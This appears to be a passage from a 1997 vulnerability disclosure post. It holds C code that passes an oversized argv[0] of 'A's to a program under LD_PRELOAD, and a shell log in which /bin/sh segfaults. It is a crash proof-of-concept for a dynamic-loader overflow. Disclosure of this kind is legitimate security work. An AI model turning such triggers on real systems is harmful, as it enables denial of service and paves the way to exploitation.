if(argc != 2) {
write(2, err, sizeof(err));
exit(1);
}
memset(b, 'A', sizeof(b));
putenv("LD_PRELOAD=foobar");
execl(argv[1], b, 0);
write(2, err2, sizeof(err2));
}
bash$ sot /bin/sh
Segmentation Fault (core dumped)
bash$ exit
script done on Fri Jul 18 11:22:47 1997
--- Dan Fleisher <dan@dimsum.tch.harvard.edu>